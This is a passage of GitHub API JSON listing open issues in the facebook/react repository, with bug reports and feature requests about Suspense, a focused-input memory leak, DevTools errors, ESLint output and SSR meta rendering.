behavior as suggested in the [previously mentioned issue](https://github.com/facebook/react/issues/25082) or…), but a solution that can also work is:\r\n\r\nAdding two new props to the `Suspense` component like:\r\n- `hoistSuspenseHandling`: If `true`, skips the handling of the Suspense status (to show a fallback etc) inside component’s own suspense boundary, and instead give it to its parent to be merged with parent’s Suspense handling (if accepted by the parent).\r\n- `handleChildrenSuspense`: The other side of the previous prop, acting as a safety net to ensure the parent can (wants to) handle its children’s suspense. It is passed to the parent Suspense component. If `true`, it will allow merging of the suspense conditions of children with its own suspense handling.\r\n\r\n(Depending on the real life usage, they could instead be functions passed to the Suspended component as well, so it can change the values internally during runtime)\r\nAlso a component that has both `hoistSuspenseHandling` and `handleChildrenSuspense` as `true`, could add its children’s suspense conditions to its own and pass them all up to the parent.\r\n\r\nWith this, a developer can differentiate between SSR/page-load sequence and client side updates/changes (or even more different scenarios) and handle components’ fallback/loading states in different places on the tree.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26091/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26069", "id": 1560564234, "node_id": "I_kwDOAJy2Ks5dBFIK", "number": 26069, "title": "Bug: Memory leak in react while focusing input elements", "user": { "login": "Elwazer007", "id": 28496859, "node_id": "MDQ6VXNlcjI4NDk2ODU5", "avatar_url": "https://avatars.githubusercontent.com/u/28496859?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Elwazer007", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 16, "created_at": "2023-01-27T23:38:32Z", "updated_at": "2025-11-21T11:29:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nI 've noticed that having an `input` element focused and unmounting its owner component doesn't actually free up this component from the js heap , I 've created this simple blnkr to demonstarate this which add a dummy `X` to a ref inside a component that has an input element\r\n\r\nReact version: 17.0.2\r\n\r\n## Steps To Reproduce\r\n\r\n1. Go to this [plnkr](https://plnkr.co/edit/IiqhT2JEvZcAJBMu?open=index.js&deferRun=1&preview) \r\n2. Click Tab Two\r\n3. Click the `Grow button` a few times \r\n4. Take a heap snapshot \r\n5. Click the Grow button a few more times \r\n6. **IMPORTANT** Focus the input element by clicking into it\r\n7. Click Tab One ( This unmount the component that own the ref to the list ) \r\n8. Take another heap snapshot ( after running the GC) \r\n9. Compare between the two snapshots \r\n10. The added string `X` will be found within the `concat check the screenshot \r\n\"Screenshot\r\n\r\n\r\n\r\n\r\nLink to code example: can be found above\r\n\r\n\r\n\r\n## The current behavior\r\n\r\nThe current component that own the input element is still being there in the memory and doesn't free up its own resources afer being unmounted.\r\n\r\n## The expected behavior\r\nThe current component shloud free up its resources whenever being unmounted \r\n", "closed_by": { "login": "github-actions[bot]", "id": 41898282, "node_id": "MDM6Qm90NDE4OTgyODI=", "avatar_url": "https://avatars.githubusercontent.com/in/15368?v=4", "gravatar_id": "", "url": "https://api.github.com/users/github-actions%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26069/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26052", "id": 1557625884, "node_id": "I_kwDOAJy2Ks5c13wc", "number": 26052, "title": "[DevTools Bug]: event.metaKey + f to focus SearchInput doesn't work on Windows", "user": { "login": "kamranayub", "id": 563819, "node_id": "MDQ6VXNlcjU2MzgxOQ==", "avatar_url": "https://avatars.githubusercontent.com/u/563819?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kamranayub", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2023-01-26T04:46:27Z", "updated_at": "2025-11-07T05:46:22Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://beta.reactjs.org/\r\n\r\n### Repro steps\r\n\r\n1. Open React Dev Tools -> Components\r\n2. Try hitting (Windows Key) + f\r\n\r\nOn Windows 10/11, the Feedback Hub opens up. It will not focus on the search input.\r\n\r\nI understand this probably works fine on Mac, but on Windows it'd be great to use a key that won't be intercepted by Windows. Like `Shift + f`. or `Ctrl + Alt + f`. Or, perhaps as soon as I start typing (unless I'm typing in another focused input). Or, if I press `/`. Something!\r\n\r\nI thought at first DevTools didn't have a keyboard shortcut but then I looked at the source code and saw it uses [`metaKey`](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/metaKey) which _totally_ doesn't work on Firefox in Windows.\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26052/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26022", "id": 1549407503, "node_id": "I_kwDOAJy2Ks5cWhUP", "number": 26022, "title": "[DevTools Bug]: Cannot read properties of undefined (reading 'displayName') at getWrappedDisplayName", "user": { "login": "cherryshoe", "id": 3752154, "node_id": "MDQ6VXNlcjM3NTIxNTQ=", "avatar_url": "https://avatars.githubusercontent.com/u/3752154?v=4", "gravatar_id": "", "url": "https://api.github.com/users/cherryshoe", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2023-01-19T15:35:41Z", "updated_at": "2023-04-20T20:17:55Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://pda.ritis.org/suite/download/\n\n### Repro steps\n\nI noticed this when using React DevTools in my DEV environment with both Chrome and Firefox which is https://pda-dev.ritis.org/suite/download/ but I also see it in the production URL.\r\n1. Logged in URL with React Developer Tools 4.27.1 installed and enabled (in Chrome or Firefox)\r\n2. Navigate to a the Download tool\r\n3. Almost immediate the below error displays\r\n`\r\nTypeError: Cannot read properties of undefined (reading 'displayName')\r\n at getWrappedDisplayName (react_devtools_backend.js:247:33)\r\n at getDisplayNameForFiber (react_devtools_backend.js:6384:62)\r\n`\r\n![outerType_undefined](https://user-images.githubusercontent.com/3752154/213483566-c6f2c74f-8e79-4d36-bb8a-2d55a103782c.png)\r\n![getWrappedDisplayName](https://user-images.githubusercontent.com/3752154/213483568-af17e1d2-f713-45f3-9c82-f66369bf77f6.png)\r\n![forwardRef](https://user-images.githubusercontent.com/3752154/213483572-1418cbc1-b0ca-4934-bbe9-cddd09ce2091.png)\r\n\r\nI'm unable to downgrade React DevTools in Chrome, but can in Firefox and notice that this started occuring with Version 4.27.0.\r\n- \"4.27.1 Relased December 6, 2022\" produces this error\r\n- \"4.27.0 Released November 28, 2022\" produces this error\r\n- \"4.25.0 Released July 14, 2022\" does not produce this error\r\n\r\nSince I only use the browser version of react dev-tools, is there any way to install 4.25.0 in Chrome browser?\r\n\r\nOther environment information:\r\nChrome \"Version 109.0.5414.75 (Official Build) (64-bit)\"\r\nFirefox \"Version 109.0 (64-bit)\r\nWindows 10 Pro build 19044.2486\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26022/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25972", "id": 1525639437, "node_id": "I_kwDOAJy2Ks5a72kN", "number": 25972, "title": "Bug: eslint react-hooks/exhaustive-deps should not quote nor localize the dependency list in the output", "user": { "login": "trajano", "id": 110627, "node_id": "MDQ6VXNlcjExMDYyNw==", "avatar_url": "https://avatars.githubusercontent.com/u/110627?v=4", "gravatar_id": "", "url": "https://api.github.com/users/trajano", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2023-01-09T13:56:40Z", "updated_at": "2023-01-18T23:20:45Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 18\r\n\r\n## Steps To Reproduce\r\n\r\n1. Create a useCallback or useEffect hook with missing deps\r\n2. enable react-hooks/exhaustive-deps eslint rule\r\n\r\n## The current behavior\r\n\r\n> 161:6 error React Hook useCallback has missing dependencies: 'isTablet', 't', and 'theme.sizes.spacing'. Either include them or remove the dependency array react-hooks/exhaustive-deps\r\n\r\n## The expected behavior\r\n\r\n> 161:6 error React Hook useCallback has missing dependencies: [ isTablet, t, theme.sizes.spacing ]. Either include them or remove the dependency array react-hooks/exhaustive-deps\r\n\r\nBy rendering it that way we can simply copy and paste the list into our code rather than changing the copied list after the fact.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25972/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25928", "id": 1509147408, "node_id": "I_kwDOAJy2Ks5Z88MQ", "number": 25928, "title": "Bug: SSR of malformed? `meta` renders nothing(working in 18.2)", "user": { "login": "eps1lon", "id": 12292047, "node_id": "MDQ6VXNlcjEyMjkyMDQ3", "avatar_url": "https://avatars.githubusercontent.com/u/12292047?v=4", "gravatar_id": "", "url": "https://api.github.com/users/eps1lon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710332294, "node_id": "MDU6TGFiZWw3MTAzMzIyOTQ=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Server%20Rendering", "name": "Component: Server Rendering", "color": "d4c5f9", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2022-12-23T10:05:15Z", "updated_at": "2023-02-06T09:18:34Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version:\r\n\r\n## Steps To Reproduce\r\n\r\n1. SSR `` (`renderToString` and `renderToReadableStream`)\r\n\r\n\r\n\r\nLink to code example: \r\n- Working in 18.2: https://codesandbox.io/s/18-2-ssr-meta-only-working-t6lxvw\r\n- render nothing in 18.3-5fcf1a4b4c2150a1b9fe0de0144a82a053c63966: https://codesandbox.io/s/18-3-5fcf1a4b4c2150a1b9fe0de0144a82a053c63966-ssr-meta-only-bug-woguy0?file=/src/index.js\r\n\r\n\r\n## The current behavior\r\n\r\nRenders empty string\r\n\r\n\r\n## The expected behavior\r\n\r\nRenders ``\r\nDon't know if that's a valid use case but it should at least warn that the meta tag is malformed?\r\n\r\nThis broke the attribute fixture (originally reported in https://github.com/facebook/react/pull/25927).\r\n\r\nAlso:\r\n1. `` renders nothing unless `content` is a string.\r\n1. `` i.e. any `http-equiv` usage no longer renders anything. It used to warn at least.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25928/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25886", "id": 1497674589, "node_id": "I_kwDOAJy2Ks5ZRLNd", "number": 25886, "title": "Bug: Rendering outside should error", "user": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710332294, "node_id": "MDU6TGFiZWw3MTAzMzIyOTQ=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Server%20Rendering", "name": "Component: Server Rendering", "color": "d4c5f9", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2022-12-15T02:09:43Z", "updated_at": "2023-08-18T19:55:28Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Expected: it should error\r\nActual: it doesn't\r\n\r\nPossibly related: https://github.com/facebook/react/issues/25710#issuecomment-1352456042. In a standalone project, I've only managed to repro `` before doctype, but not between doctype and html as in the repro from that issue. I haven't confirmed that this is the actual cause of #25710, but at the very least we should have errored there as well.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25886/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25884", "id": 1496932772, "node_id": "I_kwDOAJy2Ks5ZOWGk", "number": 25884, "title": "[DevTools Bug] Cannot remove node \"XX\" because no matching node was found in the Store.", "user": { "login": "baptistemanson", "id": 5444992, "node_id": "MDQ6VXNlcjU0NDQ5OTI=", "avatar_url": "https://avatars.githubusercontent.com/u/5444992?v=4", "gravatar_id": "", "url": "https://api.github.com/users/baptistemanson", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 19, "created_at": "2022-12-14T15:57:37Z", "updated_at": "2024-04-05T19:04:25Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://ideaflow.app\n\n### Repro steps\n\nUsing next 12.3 and windows 10 chrome 108.0.5359.99 (Official Build) (64-bit)\r\n- Open the inspector\r\n- Navigate to the components tab. Open it a few times until it displays something. (blank screen issue already logged #22034 )\r\n- eventually it will display the component tree, but after one scroll, it fails with this error:\r\n![image](https://user-images.githubusercontent.com/5444992/207644741-c870e4bd-8514-4f4f-850a-8713217e41e9.png)\r\n\r\nUncaught Error: Cannot remove node \"1946\" because no matching node was found in the Store.\r\nDismiss\r\nThe error was thrown at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27994:43\r\n at bridge_Bridge.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:25895:22)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26064:14\r\n at listener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56299:39)\r\n\n\n### How often does this bug happen?\n\nOften\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n4.27.1-47f63dc54\n\n### Error message (automated)\n\nCannot remove node \"1946\" because no matching node was found in the Store.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27994:43\r\n at bridge_Bridge.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:25895:22)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26064:14\r\n at listener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56299:39)\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot remove node because no matching node was found in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25884/reactions", "total_count": 35, "+1": 34, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25882", "id": 1495210501, "node_id": "I_kwDOAJy2Ks5ZHxoF", "number": 25882, "title": "[DevTools Bug]: Labels are cut off on Firefox on Ubuntu 22.04", "user": { "login": "iprotoni", "id": 120520990, "node_id": "U_kgDOBy8BHg", "avatar_url": "https://avatars.githubusercontent.com/u/120520990?v=4", "gravatar_id": "", "url": "https://api.github.com/users/iprotoni", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2022-12-13T21:44:57Z", "updated_at": "2022-12-13T21:44:57Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://github.com/iprotoni/react-skill-assessments\n\n### Repro steps\n\n the key labels on the right hand pane are cut off whenever using React DevTools on Firefox latest version on Ubuntu 22.04\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25882/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25843", "id": 1481903458, "node_id": "I_kwDOAJy2Ks5YVA1i", "number": 25843, "title": "[DevTools Bug]: Electron support broken in 4.27", "user": { "login": "Kilian", "id": 41970, "node_id": "MDQ6VXNlcjQxOTcw", "avatar_url": "https://avatars.githubusercontent.com/u/41970?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Kilian", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "mondaychen", "id": 1001890, "node_id": "MDQ6VXNlcjEwMDE4OTA=", "avatar_url": "https://avatars.githubusercontent.com/u/1001890?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mondaychen", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 33, "created_at": "2022-12-07T13:16:17Z", "updated_at": "2026-02-13T22:10:06Z", "closed_at": null, "assignee": { "login": "mondaychen", "id": 1001890, "node_id": "MDQ6VXNlcjEwMDE4OTA=", "avatar_url": "https://avatars.githubusercontent.com/u/1001890?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mondaychen", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\n[Electron.js](https://electronjs.org)\r\n\r\n### Repro steps\r\n\r\nReact devtools 4.27 no longer works in Electron[1] because `chrome.scripting` isn't implemented, which it started using due to the manifest v3 upgrade: https://github.com/facebook/react/pull/25145\r\n\r\nWhen opening React devtools 4.27 in any Electron project (installed with [`electron-devtools-installer](https://github.com/MarshallOfSound/electron-devtools-installer/) for example) you'll see that the devtools panel is shown but no React components are ever found. Earlier versions worked well with Electron\r\n\r\n[1] https://github.com/electron/electron/issues/36545 and https://github.com/MarshallOfSound/electron-devtools-installer/issues/232\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": { "login": "github-actions[bot]", "id": 41898282, "node_id": "MDM6Qm90NDE4OTgyODI=", "avatar_url": "https://avatars.githubusercontent.com/in/15368?v=4", "gravatar_id": "", "url": "https://api.github.com/users/github-actions%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25843/reactions", "total_count": 25, "+1": 23, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 2 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25833", "id": 1480298755, "node_id": "I_kwDOAJy2Ks5YO5ED", "number": 25833, "title": "[DevTools Bug] Element \"15\" not found", "user": { "login": "msantiago0893", "id": 94033822, "node_id": "U_kgDOBZrXng", "avatar_url": "https://avatars.githubusercontent.com/u/94033822?v=4", "gravatar_id": "", "url": "https://api.github.com/users/msantiago0893", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2022-12-06T22:06:00Z", "updated_at": "2022-12-08T15:07:39Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://github.com/sfmarco/Task.git\n\n### Repro steps\n\nSolo queria ver los estados de mi componente y aparecio el error\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n4.27.0-bd2ad89a4\n\n### Error message (automated)\n\nElement \"15\" not found\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39558:15\n```\n\n\n### Error component stack (automated)\n\n```text\nat InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:40933:3)\r\n at Suspense\r\n at ErrorBoundary_ErrorBoundary (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39237:5)\r\n at div\r\n at InspectedElementErrorBoundaryWrapper 